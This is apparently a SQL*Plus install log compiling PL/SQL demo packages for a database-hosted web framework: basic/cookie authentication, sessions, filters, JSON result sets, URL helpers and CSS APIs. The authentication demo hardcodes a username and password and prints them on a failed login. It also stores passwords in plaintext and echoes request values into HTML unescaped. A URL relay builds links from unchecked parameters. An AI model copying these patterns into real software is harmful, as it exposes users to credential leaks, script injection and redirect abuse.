207 t.ps('You are :1, You have already logged ( at :2 ) in.', st(auth_s.user_name, t.dt2s(auth_s.login_time))));
208 x.p('<p>', 'But this system allow only 10 minute use after successful login.');
209 x.a('<a>', 'relogin now', '@b.cookie_gac');
210 end;
211
212 procedure basic_and_cookie is
213 v_user varchar2(30) := 'psp.web';
214 v_pass varchar2(30) := 'best';
215 v user_t%rowtype;
216 begin
217 if auth_s.user_name is not null then
218 null;
219 k_debug.trace('user in login sts');
220 elsif r.user is null and r.pass is null then
221 k_debug.trace('no user/pass');
222 h.www_authenticate_basic('test');
223 pc.h;
224 x.p('<p>', 'You should login first');
225 x.p('<script>', 'alert("You should login first.");');
226 g.cancel;
227 elsif r.user = v_user and r.pass = v_pass then
228 auth_s.login_simple(r.user);
229 k_debug.trace('user psp.web passed');
230 else
231 v.name := r.user;
232 v.pass := r.pass;
233 select count(*)
234 into tmp.cnt
235 from user_t a
236 where a.name = v.name
237 and a.pass = v.pass;
238 if tmp.cnt = 0 then
239 k_debug.trace('user dbu not passed');
240 h.www_authenticate_basic('test');
241 pc.h;
242 x.p('<p>', 'Username should be ' || v_user || ' to pass');
243 x.p('<p>', 'Password should be ' || v_pass || ' to pass');
244 x.p('<p>', 'Or user/pass should be in user_t table.' || x.a('<a>', 'see data', 'user_b.register'));
245 g.cancel;
246 else
247 k_debug.trace('user dbu passed');
248 auth_s.login_simple(r.user);
249 end if;
250 end if;
251
252 -- already logged in
253 pc.h;
254 src_b.link_proc;
255 x.t('<br/>');
256 x.a('<a>', 'Logout', '@b.logout_basic');
257 x.p('<p>', 'Hello ' || r.user || ', Welcome to access this page.');
258 x.p('<p>', 'You have passed the http basic authentication sometime ago or at right now.');
259 x.p('<p>', 'And you use cookie and gac to mark your logged-in status.');
260 x.p('<p>', 'So you do not need to check user/password(cause I/O from password table) for every request.');
261 x.p('<p>',
262 'So you saved the so frenquently I/O operation and avoid the tranditional I/O budden of http basic authentication');
263 x.p('<p>', 'Normally, you can not logout for http basic authentication.');
264 x.p('<p>',
265 'But sometime you MAY logout with response 401, so the browser will not send last used user/pass to server.');
266 end;
267
268 procedure logout_basic is
269 begin
270 auth_s.logout;
271 h.www_authenticate_basic('please click cancel to logout basic authentication.');
272 pc.h;
273 x.a('<a>', 'login', '@b.basic_and_cookie');
274 end;
275
276 end auth_b;
277 /
Package body created.
SQL> @@session_b.bdy
SQL> create or replace package body session_b is
2
3 procedure login_form is
4 s_user varchar2(30) := r.getc('s$user');
5 v_sid varchar2(100);
6 begin
7 -- create session store with right sid in node
8 -- if session store is not been created
9 -- cookie name mimic PHP's session cookie name
10 if r.is_null('s$IDLE') then
11 if r.bsid is null then
12 v_sid := t.gen_token;
13 h.set_cookie('PHPSESSID', v_sid, path => r.dir);
14 else
15 v_sid := r.bsid;
16 end if;
17 r.setc('s$BSID', v_sid);
18 end if;
19 x.t('<!doctype HTML>');
20 src_b.header;
21 x.p('<p>', 'logged user is ' || s_user);
22 x.f('<form method=post>', '@b.login_check');
23 x.v(' <input type=text,name=user>', s_user);
24 x.s(' <input type=submit>');
25 x.c('</form>');
26 end;
27
28 procedure login_check is
29 p_user varchar2(30) := r.getc('user');
30 begin
31 r.setc('s$user', p_user);
32 if p_user is not null then
33 h.go('@b.user_page', 303);
34 else
35 h.go('@b.logout_info', 303);
36 end if;
37 end;
38
39 procedure logout_info is
40 begin
41 x.t('<!doctype HTML>');
42 x.p('<p>', 'You are logged out successfully!');
43 x.a('<a>', 'click to login again', '@b.login_form');
44 end;
45
46 procedure user_page is
47 begin
48 x.t('<!doctype HTML>');
49 x.p('<p>', 'logged user is ' || r.getc('s$user', 'nobody'));
50 x.p('<p>', 'your have been idle for ' || ceil(r.getn('s$IDLE', 0) / 1000) || ' seconds');
51 x.p('<p>', 'last access time is ' || r.lat);
52 x.a('<a>', 'click to login using different user name', '@b.login_form');
53 x.a('<a>', 'logout', '@b.logout');
54 end;
55
56 procedure logout is
57 begin
58 if not r.is_null('s$IDLE') then
59 r.setc('s$BSID', '');
60 end if;
61 h.go('@b.logout_info', 303);
62 end;
63
64 end session_b;
65 /
Package body created.
SQL>
SQL>
SQL> prompt
SQL> prompt Creating package PV
Creating package PV
SQL> prompt ===================
===================
SQL> prompt
SQL> @@pv.spc
SQL> create or replace package pv is
2
3 id varchar2(30);
4 now date;
5
6 end pv;
7 /
Package created.
SQL> prompt
SQL> prompt Creating package FILTER_B
Creating package FILTER_B
SQL> prompt =========================
=========================
SQL> prompt
SQL> @@filter_b.spc
SQL> create or replace package filter_b is
2
3 procedure see_filter;
4
5 end filter_b;
6 /
Package created.
SQL> @@filter_b.bdy
SQL> create or replace package body filter_b is
2
3 procedure see_filter is
4 begin
5 pc.h;
6 src_b.link_proc;
7 x.p('<h3>', 'This page show package variables set by k_filter');
8 x.p('<p>', 'You can use k_filter.before, k_filter.alfter to hook into the page to do pre/post processing');
9 x.p('<p>', 'pv.id = ' || pv.id);
10 x.p('<p>', 'pv.now = ' || t.dt2s(pv.now));
11 end;
12
13 end filter_b;
14 /
Package body created.
SQL> prompt
SQL> prompt Creating package K_FILTER
Creating package K_FILTER
SQL> prompt =========================
=========================
SQL> prompt
SQL> @@k_filter.spc
SQL> create or replace package k_filter is
2
3 procedure before;
4
5 procedure after;
6
7 end k_filter;
8 /
Package created.
SQL> @@k_filter.bdy
SQL> create or replace package body k_filter is
2
3 procedure before is
4 begin
5 -- b.set_line_break(null);
6 pv.id := 'liyong';
7 pv.now := sysdate;
8
9 if auth_s.user_name is not null then
10 auth_b.check_update;
11 end if;
12
13 return;
14
15 if true then
16 pc.h;
17 x.p('<p>', 'execute in k_filter.before only, cancel execute the main prog');
18 g.cancel;
19 end if;
20 end;
21
22 procedure after is
23 pragma autonomous_transaction;
24 begin
25 if r.prog = 'filter_b.see_filter' then
26 x.p('<h3>', 'k_filter.after write here. Exiting?');
27 x.p('<h3>', 'k_filter.after can be used to do logging using autonomous_transaction');
28 end if;
29 if not r.is_lack('inspect') then
30 src_b.footer;
31 end if;
32 end;
33
34 end k_filter;
35 /
Package body created.
SQL>
SQL> --------- print/output/response API demos ------------
SQL>
SQL> prompt
SQL> prompt Creating package DB_SRC_B
Creating package DB_SRC_B
SQL> prompt =========================
=========================
SQL> prompt
SQL> @@db_src_b.spc
SQL> create or replace package db_src_b is
2
3 procedure basic;
4
5 procedure scalars_sql;
6
7 procedure scalars_direct;
8
9 procedure scalar_array;
10
11 procedure pack_proc;
12
13 procedure pack_kv;
14
15 procedure pack_kv_child;
16
17 procedure direct_json;
18
19 procedure set_mime_no_convert;
20
21 end db_src_b;
22 /
Package created.
SQL> @@db_src_b.bdy
SQL> create or replace package body db_src_b is
2
3 procedure basic is
4 cur sys_refcursor;
5 begin
6 src_b.header;
7 if not r.is_null('template') then
8 h.convert_json_template(r.getc('template'), r.getc('engine'));
9 end if;
10
11 --h.etag_md5_on;
12 if r.is_lack('inspect') then
13 rs.use_remarks;
14 b.line('# a stardard psp.web result sets example page');
15 b.line('# It can be used in browser or NodeJS');
16 b.line('# You can use some standard parser or write your own ' ||
17 'parsers to convert the raw resultsets to javascript data object');
18 b.line('# see PL/SQL source at ' || r.dir_full || '/src_b.proc/' || r.prog);
19 end if;
20
21 open cur for
22 select a.object_name, a.subobject_name, a.object_type, a.created
23 from user_objects a
24 where rownum <= r.getn('limit', 3);
25 rs.print('objects', cur);
26 end;
27
28 procedure pack_proc is
29 cur sys_refcursor;
30 begin
31 src_b.header;
32 open cur for
33 select a.object_name pack, a.created, a.status
34 from user_objects a
35 where a.object_type = 'PACKAGE'
36 order by 1 asc;
37 rs.print('packages^-', cur);
38
39 open cur for
40 select a.object_name pack, a.procedure_name proc, a.subprogram_id
41 from user_procedures a
42 where a.object_type = 'PACKAGE'
43 and a.procedure_name is not null
44 order by a.object_name asc, a.subprogram_id asc;
45 rs.print('procedures/-pack|packages/pack', cur);
46
47 open cur for
48 select a.object_name pack, a.procedure_name "-"
49 from user_procedures a
50 where a.object_type = 'PACKAGE'
51 and a.procedure_name is not null
52 order by a.object_name asc, a.subprogram_id asc;
53 rs.print('procs|packages', cur);
54 end;
55
56 procedure scalar_array is
57 cur sys_refcursor;
58 begin
59 src_b.header;
60 open cur for
61 select a.object_name "-" from user_objects a where a.object_type = 'PACKAGE' order by 1 asc;
62 rs.print('packages', cur);
63 end;
64
65 procedure pack_kv is
66 cur sys_refcursor;
67 begin
68 src_b.header;
69 open cur for
70 select a.object_name pack, a.created, a.status
71 from user_objects a
72 where a.object_type = 'PACKAGE'
73 order by 1 asc;
74 rs.print('packages^-', cur);
75 end;
76
77 procedure pack_kv_child is
78 cur sys_refcursor;
79 begin
80 src_b.header;
81 open cur for
82 select a.object_name pack, a.created, a.status
83 from user_objects a
84 where a.object_type = 'PACKAGE'
85 order by 1 asc;
86 rs.print('packages^-', cur);
87
88 open cur for
89 select a.object_name pack, a.procedure_name proc, a.subprogram_id
90 from user_procedures a
91 where a.object_type = 'PACKAGE'
92 and a.procedure_name is not null
93 order by a.object_name asc, a.subprogram_id asc;
94 rs.print('procedures^-proc/-pack|packages/pack', cur);
95 end;
96
97 procedure tab_pack_proc is
98 cur sys_refcursor;
99 begin
100 null;
101 end;
102
103 procedure scalars_sql is
104 cur sys_refcursor;
105 v1 varchar2(50) := 'psp.web';
106 v2 number := 123456;
107 v3 date := date '1976-10-26';
108 begin
109 src_b.header;
110 open cur for
111 select v1 as name, v2 as val, v3 as ctime, r.getc('param1') p1, r.getc('param2') p2, r.getc('__parse') pnull
112 from dual;
113 rs.print('namevals', cur);
114 end;
115
116 procedure scalars_direct is
117 begin
118 src_b.header;
119 h.convert_json;
120 rs.nv('name', 'kaven276');
121 rs.nv('age', 39);
122 rs.nv('birth', sysdate - 39);
123 rs.nv('married', true);
124 end;
125
126 procedure direct_json is
127 cur sys_refcursor;
128 begin
129 h.content_type('application/json');
130 src_b.header;
131 open cur for
132 select a.object_name, a.object_type from user_objects a where rownum <= 3;
133 rs.json(cur);
134 end;
135
136 procedure set_mime_no_convert is
137 cur sys_refcursor;
138 begin
139 h.content_type('text/plain');
140 src_b.header;
141 b.line('set mime other than default "text/html",');
142 b.line('rs.print will not set mime to "text/resultsets",');
143 b.line('and not cause conversion to JSON format.');
144 open cur for
145 select a.object_name, a.object_type from user_objects a where rownum <= 3;
146 rs.print(cur);
147 end;
148
149 end db_src_b;
150 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating procedure URL_TEST1_B
Creating procedure URL_TEST1_B
SQL> prompt ==============================
==============================
SQL> prompt
SQL> @@url_test1_b.prc
SQL> create or replace procedure url_test1_b is
2 begin
3 src_b.header;
4 x.p('<p>', 'I''m in a standalone procedure');
5 x.p('<p>', 'r.prog=' || r.prog);
6 x.p('<p>', 'r.pack=' || r.pack);
7 x.p('<p>', 'r.proc=' || r.proc);
8 x.p('<p>', 'r.getc(''y$static'')=' || r.getc('y$static'));
9
10 x.t('<hr/>');
11
12 x.p('<h3>', '>>> link to servlet demo');
13 x.p('<p>', x.a('<a>', 'link to "pack.proc" pattern from standalone procedure', './easy_url_b.d'));
14 x.p('<p>', x.a('<a>', 'link to standalone proc(for demo, self) pattern from standalone procedure', './url_test1_b'));
15
16 x.p('<h3>', '>>> link to static demo');
17 x.p('<p>', 'this is my plsql unit(standalone procedure)''s img ' || x.i('<img>', '@b/USA.gif'));
18 x.p('<p>', 'this is some package(easy_url_b)''s img ' || x.i('<img>', '^packs/easy_url_b/CHN.gif'));
19 x.p('<p>', 'this is some standalone procedure(url_test1_b)''s img ' || x.i('<img>', '^packs/url_test1_b/USA.gif'));
20 x.p('<p>', 'this is img/nations/''s img ' || x.i('<img>', '^img/nations/JPN.gif'));
21 x.p('<p>', 'this is img directly under static root' || x.i('<img>', '^GER.gif'));
22
23 end url_test1_b;
24 /
Procedure created.
SQL>
SQL> prompt
SQL> prompt Creating package EASY_URL_B
Creating package EASY_URL_B
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@easy_url_b.spc
SQL> create or replace package easy_url_b is
2
3 procedure d;
4
5 procedure link_transparent;
6
7 procedure link_equal_to;
8
9 procedure link_proc_in_same_pack;
10
11 procedure link_proc_in_any_pack;
12
13 procedure link_standalone_proc;
14
15 procedure link_static_for_site;
16
17 procedure link_static_for_pack;
18
19 procedure link_static_for_me;
20
21 procedure link_other_parallel_app_static;
22
23 procedure link_configured_url;
24
25 procedure use_base_url_for_static;
26
27 procedure param_use_stv;
28
29 procedure param_interpolate;
30
31 procedure param_use_vqstr;
32
33 procedure param_tail;
34
35 procedure param_interpolate_tail;
36
37 procedure url_relay;
38
39 procedure url_relay_receiver;
40
41 end easy_url_b;
42 /
Package created.
SQL> @@easy_url_b.bdy
SQL> create or replace package body easy_url_b is
2
3 procedure d is
4 begin
5 src_b.header;
6 r.setc('l$myself', l('^'));
7 x.l('<link>', '*.css');
8 x.j('<script>', '*.js');
9 x.j('<script>', '^packs/url_test1_b/proc.js');
10
11 x.p('<p>', 'I''m in a standalone procedure');
12 x.p('<p>', 'r.prog=' || r.prog);
13 x.p('<p>', 'r.pack=' || r.pack);
14 x.p('<p>', 'r.proc=' || r.proc);
15 x.p('<p>', 'r.getc(''y$static'')=' || r.getc('y$static'));
16 x.t('<hr/>');
17
18 x.p('<h3>', '>>> Links to plsql servlet');
19 x.p('<p>', x.a('<a>', 'link to my package''s sub procedure in "@x.proc" pattern', '@b.link_transparent'));
20 x.p('<p>',
21 x.a('<a>', 'link to some package''s sub procedure in "./pack.proc" form', './easy_url_b.link_transparent'));
22 x.p('<p>', x.a('<a>', 'link to a standalone procedure in "./proc" pattern', './url_test1_b'));
23
24 x.p('<h3>', '>>> Links to static files.');
25 x.p('<p>', 'link to my package''s img (CHN.gif)' || x.i('<img>', '@b/CHN.gif'));
26 x.p('<p>', 'link to a package''s img (url_b/CHN.gif)' || x.i('<img>', '^packs/easy_url_b/CHN.gif'));
27 x.p('<p>', 'link to a procedure''s img (url_test1_b/USA.gif)' || x.i('<img>', '^packs/url_test1_b/USA.gif'));
28 x.p('<p>', 'link to file directly under static root (^GER.gif)' || x.i('<img>', '^GER.gif'));
29 x.p('<p>', 'link to file under static root subdir (^img/nations/JPN.gif)' || x.i('<img>', '^img/nations/JPN.gif'));
30
31 x.t('<br/>');
32 x.p('<p>', '>>> Links to other site''s resources');
33 x.p('<p>', 'this is outsite''s img ([myself]img/nations/ITA.gif)' || x.i('<img>', '[myself]img/nations/ITA.gif'));
34 x.p('<p>',
35 'this is for abs path (http://www.oracleimg.com/us/assets/oralogo-small.gif)' ||
36 x.i('<img>', 'http://www.oracleimg.com/us/assets/oralogo-small.gif'));
37
38 x.t('<br/>');
39 x.p('<p>', '>>> Links to other url schemas');
40 x.p('<p>', x.a('<a>', 'link to javascript', 'javascript:alert(''link to javascript'')'));
41
42 x.c('</body>');
43 x.c('</html>');
44 end;
45
46 procedure link_transparent is
47 begin
48 src_b.header;
49 x.p('<p>',
50 x.a('<a>',
51 'transparently(untouched) link to url without any particular prefix symbol in "=@*^\"',
52 'ora_good_b.entry'));
53 x.p('<p>', x.a('<a>', 'back', 'javascript:history.back();'));
54 end;
55
56 procedure link_equal_to is
57 begin
58 src_b.header;
59 x.p('<p>', x.a('<a>', 'link to url with "=" prefix', '=ora_good_b.entry'));
60 end;
61
62 procedure link_proc_in_same_pack is
63 begin
64 src_b.header;
65 x.p('<p>', 'prefix "@" will be replaced by package name "x$pack" with last suffix character trimmed');
66 x.a('<a>', 'link to procedure in the same package using "@x.xxx" pattern', '@b.link_transparent');
67 end;
68
69 procedure link_proc_in_any_pack is
70 begin
71 src_b.header;
72 x.a('<a>', 'link to procedure in any other package directly', 'ora_good_b.entry');
73 end;
74
75 procedure link_standalone_proc is
76 begin
77 src_b.header;
78 x.a('<a>', 'link to standalone procedure directly', 'url_test1_b');
79 end;
80
81 procedure link_static_for_site is
82 begin
83 src_b.header;
84 x.p('<p>', 'prefix "^" will be replaced by r.getc(y$static)');
85 x.p('<p>', '"^path/file.ext" will expand to "{y$static}path/file.ext"');
86 x.p('<p>', 'y$static=' || r.get('y$static', './'));
87 x.i('<img>', '^GER.gif');
88 x.i('<img>', '^img/nations/USA.gif');
89 end;
90
91 procedure link_static_for_pack is
92 begin
93 src_b.header;
94 x.p('<p>', 'prefix "@" will be replaced by package name "x$pack" with last suffix character trimmed');
95 x.p('<p>', '"@x/file" indicate static file reference belong to this package/procedure only');
96 x.p('<p>', '"@x/file" will expand to "{y$static}/packs/{x$pack?}/file"');
97 x.p('<p>', 'y$static=' || r.get('y$static', './'));
98 x.p('<p>', 'x$pack=' || r.get('x$pack', './'));
99 x.i('<img>', '@b/CHN.gif');
100 end;
101
102 procedure link_static_for_me is
103 begin
104 --x.l('<link type=image/gif>', '*.gif', 'icon');
105 x.l('<link type=image/x-icon>', '*.ico', 'icon');
106 src_b.header;
107 x.p('<p>', 'prefix * will be replaced by "{x$pack}/{x$proc}"');
108 x.p('<p>', '"*.suffix" indicate static file reference belong to this package, and named this procedure only');
109 x.p('<p>', '"*.suffix" will expand to "{y$static}packs/{x$pack}/{x$proc}.suffix"');
110 x.p('<p>', 'y$static=' || r.get('y$static', './'));
111 x.p('<p>', 'x$pack=' || r.get('x$pack', './'));
112 x.p('<p>', 'x$proc=' || r.get('x$proc', './'));
113 x.i('<img>', '*.gif');
114 x.l('<link>', '*.css');
115 x.j('<script>', '*.js');
116 end;
117
118 procedure link_other_parallel_app_static is
119 begin
120 src_b.header;
121 x.p('<p>', 'sometimes, we need to refer to other parallel static app''s url that provide common static files');
122 x.a('<a>', 'link to "{y$static}../some_other_app/path_to_file.ext" ', '^../demo1/img/larry.jpg');
123 end;
124
125 procedure link_configured_url is
126 begin
127 src_b.header;
128 r.setc('[bootstrap]', l('^bower_lib/bootstrap/dist'));
129 x.l('<link>', '[bootstrap]/css/bootstrap.min.css');
130 x.j('<script>', '[jquery]');
131 --x.j('<script>', '[bootstrap]/js/bootstrap.min.js');
132 x.p('<p>', 'see ' || x.a('<a>', 'k_filter.before', 'src_b.proc?p=k_filter.before') || ' for url prefix setting');
133 x.p('<p>', 'url like "[key]subpath", "[key]" will be replaced with value in view "ext_url_v" ');
134 x.p('<p>', 'or preset with r.setc([key],url_prefix), it have higher priority than ext_url_v config');
135 x.p('<p>', 'the following demo use boostrap css UI');
136 x.a('<a#tar.btn.btn-primary>', 'noradle url link document', '[url_link_doc]');
137 x.p('<script>', '$("#tar").fadeOut().fadeIn()');
138 end;
139
140 procedure use_base_url_for_static is
141 begin
142 src_b.header;
143 --x.s('<base href=:1>', st(l('^')));
144 --x.b('<base>','^');
145 x.b('<base>');
146 x.p('<p>', 'base url set to static foot url');
147 x.p('<p>', 'reference servlet by ./pack.proc or @x.proc pattern for relative path');
148 x.p('<p>', x.a('<a>', 'link to static(image)', 'img/larry.jpg'));
149 x.p('<p>', x.a('<a>', 'link to servlet(to self)', './easy_url_b.use_base_url_for_static'));
150 x.p('<p>', x.a('<a>', 'link to servlet(to self)', '@b.use_base_url_for_static'));
151 end;
152
153 procedure param_use_stv is
154 begin
155 src_b.header;
156 x.p('<p>', 'current url is :' || r.url);
157 x.p('<p>', 'note: one line for param values, one line for url param filling, one line use url');
158 tmp.stv := st('v1', 'v2', 'v3');
159 tmp.url := t.ps('@b.param_use_stv?p1=:1&p2=:2&p3=:3');
160 x.p('<p>', x.a('<a>', 'link params filled with tmp.stv', tmp.url));
161 end;
162
163 procedure param_interpolate is
164 begin
165 src_b.header;
166 x.p('<p>', 'current url is :' || r.url);
167 x.p('<p>', 'note: url tailed with "@" will trigger interpolation');
168 x.p('<p>', x.a('<a>', 'link to url interpolated with NV env(as req)', '@b.param_interpolate?{p1}&{p2}@'));
169 r.del('p1');
170 r.del('p2');
171 x.p('<p>', x.a('<a>', 'link to url interpolated with NV env(not exists)', '@b.param_interpolate?{p1}&{p2}@'));
172 r.setc('p1', 'v1');
173 r.setc('p2', 'v2');
174 x.p('<p>', x.a('<a>', 'link to url interpolated with NV env(exists)', '@b.param_interpolate?{p1}&{p2}@'));
175 end;
176
177 procedure param_use_vqstr is
178 begin
179 src_b.header;
180 r.setc('p3', 'v3');
181 x.p('<p>', 'current url is :' || r.url);
182 x.p('<p>', q'|note: your can append r.vqstr value to a url prefix|');
183 x.p('<p>', 'r.vqstr: ' || r.vqstr);
184 x.p('<p>', q'!r.vqstr('p1,p3'): !' || r.vqstr('p1,p3'));
185 x.p('<p>', x.a('<a>', 'link to me with 5 params', r.prog || '?p1=v1&p2=v2'));
186 end;
187
188 procedure param_tail is
189 begin
190 src_b.header;
191 x.p('<p>', 'current url is :' || r.url);
192 x.p('<p>', 'note: url suffixed with "?" or "&" denote uncomplete url that will be appended with r.getc(l$?)');
193 x.p('<p>', x.a('<a>', 'link to url lack of tail (as req)', '@b.param_tail?'));
194 r.del('l$?');
195 x.p('<p>', x.a('<a>', 'link to url lack of tail (no tail)', '@b.param_tail?'));
196 r.setc('l$?', 'flag=Y');
197 x.p('<p>', x.a('<a>', 'link to url lack of tail (has tail)', '@b.param_tail?'));
198 end;
199
200 procedure param_interpolate_tail is
201 begin
202 src_b.header;
203 x.p('<p>', 'current url is :' || r.url);
204 x.p('<p>', 'note: interpolation and tail completion can co-exist, suffix like "?@" or "&@"');
205 x.p('<p>', x.a('<a>', 'link to url interpolated with NV env(as req)', '@b.param_interpolate_tail?{p1}&@'));
206 r.del('p1');
207 r.del('l$?');
208 x.p('<p>', x.a('<a>', 'link to url interpolated with NV env(not exists)', '@b.param_interpolate_tail?{p1}&@'));
209 r.setc('p1', 'v1');
210 r.setc('l$?', 'flag=Y');
211 x.p('<p>', x.a('<a>', 'link to url interpolated with NV env(exists)', '@b.param_interpolate_tail?{p1}&@'));
212 end;
213
214 procedure url_relay is
215 begin
216 src_b.header;
217 x.p('<p>', 'current url is :' || r.url);
218 x.p('<p>', 'note: relay a url to a series of servlet, and redirect back to it finally');
219 r.setc('backurl1', utl_url.escape(r.url, true, 'utf-8'));
220 r.setc('backurl2', utl_encode.text_encode(r.url, null, utl_encode.base64));
221 x.p('<p>', 'url-escaped url is :' || r.getc('backurl1'));
222 x.p('<p>', 'base64-encoded url is :' || r.getc('backurl2'));
223 r.setc('l$?', r.vqstr('backurl1,backurl2'));
224 x.p('<p>', x.a('<a>', 'link to hand url off', '@b.url_relay_receiver?'));
225 x.f('<form method=post>', '@b.url_relay_receiver');
226 x.p(' <label>', '(origin url)');
227 x.v(' <input readonly type=text,name=backurl1,size=80>', r.url);
228 x.t(' <br/>');
229 x.p(' <label>', '(based64 encoded)');
230 x.v(' <input readonly type=text,name=backurl2,size=80>', r.getc('backurl2'));
231 x.t(' <br/>');
232 x.s(' <input type=submit>');
233 x.c('</form>');
234 end;
235
236 procedure url_relay_receiver is
237 begin
238 src_b.header;
239 x.p('<p>', 'current url is :' || r.url);
240 x.p('<p>', 'note: got a relayed a url, restore its value');
241 x.p('<p>', 'back url (url-escaped) is(r.get) :' || r.get('backurl1'));
242 x.p('<p>', 'back url (url-escaped) is(r.getc) :' || r.getc('backurl1'));
243 x.p('<p>', 'back url (based64-encoded) is(r.get) :' || r.get('backurl2'));
244 x.p('<p>', 'back url (based64-decoded) is(decode) :' || utl_encode.text_decode(r.get('backurl2'), null, 1));
245 x.p('<p>', x.a('<a>', 'click to backurl (url-unescaped)', utl_url.unescape(r.getc('backurl1'))));
246 x.p('<p>', x.a('<a>', 'click to backurl (based64-decoded)', utl_encode.text_decode(r.getc('backurl2'), null, 1)));
247 end;
248
249 end easy_url_b;
250 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package STYLE_B
Creating package STYLE_B
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@style_b.spc
SQL> create or replace package style_b is
2
3 procedure d;
4
5 end style_b;
6 /
Package created.
SQL> @@style_b.bdy
SQL> create or replace package body style_b is
2
3 procedure d is
4 procedure comp1(n pls_integer) is
5 begin
6 if r.is_null('css$comp1') then
7 r.setc('css$comp1', null);
8 y.lcss_ctx('ul#comp1');
9 y.lcss_selector(' ');
10 y.lcss_rule('font-size:20px;');
11 y.lcss_rule('border:1px solid;');
12 y.lcss_rule('width:300px;');
13 y.lcss_rule('width:300px;');
14 y.lcss_rule('padding:16px;', true);
15 y.lcss('{^border-radius:16px;}', true);
16 y.lcss('li{list-style:inside url(^GER.gif);}');
17 y.lcss('>li:nth-child(2n){color:orange;}');
18 y.lcss('>li:nth-child(2n+1){color:yellow;}');
19 end if;
20 x.p('<p>', 'list ' || n);
21 x.o('<ul#comp1>');
22 for i in 1 .. 10 loop
23 x.p(' <li>', to_char(i));
24 end loop;
25 x.c('</ul>');
26 end;
27 begin
28 x.o('<html>');
29 x.o('<head>');
30 x.p('<title>', 'use style(sty) API to procedure css embeded or linked');
31 y.set_scale(320, 480);
32 y.set_css_prefix('-webkit-');
33 -- all css content or css url will be here.
34 y.embed(r.getc('tag', '<style>'));
35 x.c('</head>');
36 x.o('<body>');
37 src_b.link_proc;
38 y.prn('body{background-color:green;}' || chr(10));
39 x.p('<p>', 'look at the ul list, they use the following features');
40 x.o('<ol>');
41 x.p(' <li>', 'scaling');
42 x.p(' <li>', 'url reference');
43 x.p(' <li>', 'vendor prefix');
44 x.p(' <li>', 'repeating css prevention');
45 x.c('</ol>');
46 comp1(1);
47 comp1(2);
48 x.c('</body>');
49 x.c('</html>');
50 end;
51
52 end style_b;
53 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package LOCAL_CSS_B
Creating package LOCAL_CSS_B
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@local_css_b.spc
SQL> create or replace package local_css_b is
2
3 procedure d;
4
5 end local_css_b;
6 /
Package created.
SQL> @@local_css_b.bdy
SQL> create or replace package body local_css_b is
2
3 procedure d is
4 procedure component1(name varchar2) is
5 begin
6 -- css rule only for this component1
7 if r.is_lack('lcss$component1') then
8 r.setn('lcss$component1', 1);
9 x.t('<style>.c1{color:red;}</style>');
10 end if;
11 x.p('<p.c1>', name);
12 end;
13
14 procedure component2(name varchar2) is
15 begin
16 -- css rule only for this component2
17 if r.is_lack('lcss$component2') then
18 r.setn('lcss$component2', 1);
19 x.t('<style>.c2{color:blue;}</style>');
20 end if;
21 x.p('<p.c2>', name);
22 end;
23 begin
24 x.o('<body>');
25 if r.getb('reorder') then
26 x.o('<script#buffer type=text>');
27 end if;
28
29 src_b.header;
30
31 x.p('<p>', 'note: css rule set just before usage of them, print only once, no repeat');
32 x.p('<p>', x.a('<a>', 'link to plain version', r.prog));
33 x.p('<p>', x.a('<a>', 'link to reorder source version', r.prog || '?reorder=y'));
34
35 x.p('<h3>', 'include component1 with each package names');
36 for i in (select a.object_name
37 from user_objects a
38 where a.object_type = 'PACKAGE'
39 and rownum < 4) loop
40 component1(i.object_name);
41 end loop;
42 x.p('<h3>', 'include component2 with each none-package object names');
43 for i in (select a.object_name
44 from user_objects a
45 where a.object_type != 'PACKAGE'
46 and rownum < 4) loop
47 component2(i.object_name);
48 end loop;
49
50 if r.getb('reorder') then
51 x.c('</script>');
52 x.t('<script id="reorder">
53 (function(){
54 var domBuffer = document.getElementById("buffer")
55 , domReorder = document.getElementById("reorder")
56 , text = domBuffer.innerText
57 , re = /<style>[^<>]*<\/style>\n?/gm
58 , body = text.replace(re,"")
59 , style = text.match(re).join("\n").replace(/(<style>|<\/style>)/g,"")
60 ;
61 document.head.insertAdjacentHTML("beforeEnd","<style>" + style + "</style>");
62 if(false){
63 document.body.removeChild(domBuffer);
64 document.body.removeChild(domReorder);
65 document.body.insertAdjacentHTML("beforeEnd",body);
66 } else {
67 document.body.innerHTML = body;
68 }
69 })();
70 </script>');
71 end if;
72
73 end;
74 end local_css_b;
75 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package X_TAG_B
Creating package X_TAG_B
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@list_b.spc
SQL> create or replace package list_b is
2
3 procedure user_objects;
4
5 procedure user_objects_cur;
6
7 procedure user_procedures;
8
9 end list_b;
10 /
Package created.
SQL> @@list_b.bdy
SQL> create or replace package body list_b is
2
3 procedure user_objects is
4 cursor c is
5 select *
6 from user_objects a
7 where a.object_name not like 'BIN$%'
8 and a.object_type not like '%PARTITION'
9 and rownum <= 3
10 order by a.object_type, a.object_name;
11 begin
12 x.p('<style>', 'table{border:1px solid;}th,td{padding:8px;}');
13 src_b.header;
14 x.p('<h2>', 'use table list(tl) and m.w(head,items,tail) in for SQL loop');
15 tb.cfg_init('table');
16 tb.cfg_add('oname', 'obj_name', 'left', '360px');
17 tb.cfg_add('otype', 'obj_type', 'left', '200px');
18 x.o('<table rules=all>');
19 x.p(' <caption>', 'table list format API example');
20 tb.cfg_cols_thead;
21 x.o(' <tbody>');
22 for i in c loop
23 x.p('<tr>', m.w('<td>', st(i.object_name, i.object_type), '</td>'));
24 end loop;
25 x.c(' </tbody>');
26 x.c('</table>');
27 end;
28
29 procedure user_objects_cur is
30 cur sys_refcursor;
31 begin
32 x.p('<h2>', 'use table list(tl) and m.c(tpl,sys_refcursor)');
33 src_b.header;
34 open cur for
35 select a.object_name, a.object_type
36 from user_objects a
37 where a.object_name not like 'BIN$%'
38 and a.object_type not like '%PARTITION'
39 and rownum <= 3
40 order by a.object_type, a.object_name;
41 tb.cfg_init('table');
42 tb.cfg_add('oname', 'obj_name', 'left', '360px');
43 tb.cfg_add('otype', 'obj_type', 'left', '200px');
44 x.p('<style>', 'table{border:1px solid;}th,td{padding:8px;}');
45 x.o('<table rules=all>');
46 x.p(' <caption>', 'table list format API example');
47 tb.cfg_cols_thead;
48 x.o(' <tbody>');
49 m.prc('<tr><td>@</td><td>@</td></tr>', cur);
50 x.c(' </tbody>');
